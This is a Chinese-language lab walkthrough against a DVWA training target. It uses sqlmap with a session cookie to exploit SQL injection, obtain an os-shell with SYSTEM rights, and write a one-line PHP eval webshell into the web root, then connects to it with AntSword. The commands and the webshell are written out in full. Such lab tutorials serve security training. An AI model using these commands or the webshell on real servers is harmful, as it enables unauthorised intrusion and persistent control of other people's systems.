一、前言
本次将通过DVWA靶机来展示怎样通过Sqlmap获取目标os-shell,得到命令执行权限,从而写入一句话木马,持续控制目标服务器。
二、测试
1.打开目标站点:http://192.200.30.126/DVWA/login.php,从网页后缀和wappalyzer浏览器插件来看,站点的编程语言为PHP。
2.输入账号跟密码登录后台,同时开启Burp抓取http包。
获取登录后的Cookie值:
3.找到存在SQL注入的模块。获取URL。
http://192.200.30.126/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#
4.由于该页面是登录后,不能直接用SQLMAP跑,需要加入Cookie来注入。构造如下命令:
sqlmap.py -u "http://192.200.30.126/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=43teu289ku4vi8g9updhua57o3" --batch
这里可以看到是存在数字型注入的,可通过’–+进行闭合。5.直接通过手工注入,爆出数据库路径为D:\phpstudy_pro\Extensions\MySQL5.7.26
看到站点通过phpstudy搭建,猜测web路径为:D:\phpstudy_pro\WWW
【注意】:通过sqlmap获取os-shell,需要知道站点的绝对路径。
6.直接通过SQLMAP加载os-shell。执行如下命令:
sqlmap.py -u "http://192.200.30.126/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=43teu289ku4vi8g9updhua57o3" --os-shell
1).第一个选择,首先选择web支持的脚本语言。(之前已经知道网站是PHP语言,)
2).第二个选择,您希望sqlmap进一步尝试揭示完整路径吗? Y
3).第三个选择,302重定向到目标URL。 你想跟上吗? Y
4).第四个选择,你提供了一个HTTP Cookie头值,而目标URL在与你的Cookie头相交的HTTP Set-Cookie头中提供了自己的Cookie。 是否要在进一步的请求中合并它们? n
5).第五个选择,你想用什么作为可写目录?
[1] 常用路径枚举
[2]自定义路径
[3] 自定义枚举字典
[4] 蛮力枚举路径
这里选择2,使用之前猜测的web路径:D:\phpstudy_pro\WWW\,不过这里需要使用反斜杠:D:/phpstudy_pro/WWW/
7.获取到os-shell后,直接命令执行whoami,发现直接是system权限。
8.通过dir获取当前路径,D:\phpstudy_pro\WWW\路径下确实是DVWA网站的web路径。
9.直接通过echo写入一句话PHP木马,写入到web的根路径下。这里敲完命令就直接按回车。
echo "<?php @eval($_POST["shell"]);?>" > shell.php
10.直接通过蚁剑连接,测试连接成功。成功获取目标站点管理权限。